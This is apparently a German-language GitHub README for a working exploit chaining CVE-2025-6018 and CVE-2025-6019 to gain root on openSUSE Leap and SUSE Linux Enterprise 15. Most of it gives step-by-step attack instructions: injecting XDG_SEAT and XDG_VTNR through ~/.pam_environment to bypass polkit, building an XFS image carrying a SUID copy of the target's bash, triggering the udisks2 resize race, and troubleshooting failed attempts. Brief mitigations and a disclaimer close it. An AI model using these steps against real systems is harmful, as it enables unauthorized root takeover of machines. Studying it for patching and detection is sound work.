
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Lokale Privilegienausweitung in openSUSE/SUSE Linux Enterprise 15 - PAM-Bypass + udisks2 XFS-Race-Condition LPE zu root
Funktionierender PoC/Exploit für CVE-2025-6018 und CVE-2025-6019 - Privilegienausweitung von einem unprivilegierten Benutzer zu root auf openSUSE Leap 15.x und SUSE Linux Enterprise 15.x
| CVE-ID | Sicherheitslücke | Auswirkung |
|---|---|---|
| CVE-2025-6018 | PAM-Umgebungsvariablen-Injektion | Umgehung des allow_active-Polkit-Status |
| CVE-2025-6019 | udisks2/libblockdev XFS Resize Race Condition | Root-Shell |
Unprivilegierter SSH-Benutzer → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Schwachstelle prüfen
./exploit.sh --check
# PAM-Umgehung einrichten (CVE-2025-6018)
./exploit.sh --setup
# SSH neu verbinden, dann: su - $USER
# Ausnutzen (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Ergebnis: ROOT-SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Hinweis: openSUSE Leap 15.6 erreicht das Ende seiner Lebensdauer am 30. April 2026. Nach diesem Datum werden keine Sicherheitspatches mehr veröffentlicht. Benutzer sollten auf Leap 16.0 oder SLES mit erweitertem Support migrieren.
user_readenv=1allow_active: yes für udisks2-Aktionen./exploit.sh --check
./exploit.sh --setup
# Dann: SSH trennen, neu verbinden, ausführen: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Auf dem ANGREIFER-Rechner als root ausführen:
⚠️ Sie MÜSSEN die
/usr/bin/bash-Binärdatei des Ziels verwenden, nicht Ihre lokale. Eine Bash-Binärdatei aus einer anderen Distribution (Kali, Arch, Ubuntu usw.) wird auf dem Ziel aufgrund von glibc/Shared-Library-ABI-Inkompatibilität fehlschlagen – selbst bei derselben x86_64-Architektur.
Das Skript erkennt automatisch Ihre xfsprogs-Version und wendet die korrekten Flags an:
# Zuerst Bash des Ziels holen
scp user@target:/usr/bin/bash /tmp/victim_bash
# Image erstellen (automatisch sichere mkfs-Flags erkennen)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# Für SUSE 15 SP1-SP4-Ziele (Kernel < 5.14) Kompatibilitätsmodus verwenden:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Bash-Binärdatei des Ziels holen
scp user@target:/usr/bin/bash /tmp/bash
# 2. 300 MB XFS-Image mit sicheren Flags erstellen
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mit SUID-Unterstützung einhängen
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Bash des Ziels kopieren und SUID-Bit setzen
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUSS zeigen: -rwsr-xr-x
# 5. Aushängen und übertragen
umount /tmp/mnt
scp xfs.img user@target:/tmp/
Das XFS-Image muss mit Flags formatiert werden, die mit dem Ziel-Kernel kompatibel sind. Neuere Versionen von xfsprogs aktivieren standardmäßig On-Disk-Funktionen, die ältere SUSE-Kernel nicht lesen können, was zu Fehlern wie wrong fs type, bad superblock während des udisks2-Resize-Mounts führt.
| Ziel | Kernel | mkfs.xfs-Befehl |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Warum? exchange und parent sind Kernel 6.10+-Funktionen (standardmäßig aktiv in xfsprogs 6.x). bigtime, inobtcount und nrext64 sind Kernel 5.10+-Funktionen. Der SP1-SP4 „compat"-Befehl (-m crc=0,reflink=0) erstellt ein V4-XFS-Format mit allen modernen Funktionen deaktiviert, das auf jedem SUSE 15 SP funktioniert.
Schwachstelle: Das PAM-Modul pam_env liest ~/.pam_environment mit user_readenv=1 (Standard unter SUSE) und ermöglicht so die Injektion von Umgebungsvariablen.
Ausnutzung: Setzen Sie XDG_SEAT=seat0 und XDG_VTNR=1, um systemd-logind dazu zu bringen, allow_active-Polkit-Berechtigungen zu gewähren.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Schwachstelle: Beim Vergrößern eines XFS-Dateisystems über udisks2 hängt libblockdev das Dateisystem vorübergehend ohne das nosuid-Flag ein.
Ausnutzung:
./exploit.sh --check
Ausgabe:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Ausgabe:
[+] allow_active status: YES
You have allow_active privileges!
# Auf Angreifer:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Ausgabe:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# user_readenv in PAM deaktivieren
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Oder udisks2-Polkit-Richtlinie einschränken
# allow_active von "yes" auf "auth_admin" ändern
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ Star this repo if it helped you! ⭐
| Problem | Ursache | Lösung |
|---|
allow_active: NO | PAM-Umgehung nicht aktiv | --setup ausführen, SSH trennen, neu verbinden, su - $USER ausführen |
Image is not XFS | Falsches Dateisystemformat | mkfs.xfs verwenden, nicht mkfs.ext4 |
SUID not working | Berechtigungen nicht gesetzt | Auf Angreifer-Rechner -rwsr-xr-x-Berechtigungen überprüfen |
Race condition missed | Zeitproblem | Exploit erneut ausführen (funktioniert meist in 1-3 Versuchen) |
SUID-Binärdatei stürzt ab oder GLIBC_x.xx not found | Bash-Binärdatei von falscher Distribution (glibc/ABI-Inkompatibilität) | Bash des Ziels /usr/bin/bash via scp verwenden, nicht Ihre lokale Bash |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFS-Image mit Funktionen formatiert, die der Ziel-Kernel nicht lesen kann (xfsprogs-Versionskonflikt) | Image mit mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img für SP5/SP6 oder mkfs.xfs -f -m crc=0,reflink=0 xfs.img für SP1-SP4 erstellen |
XFSRace ConditionSecurityVulnerabilityPentest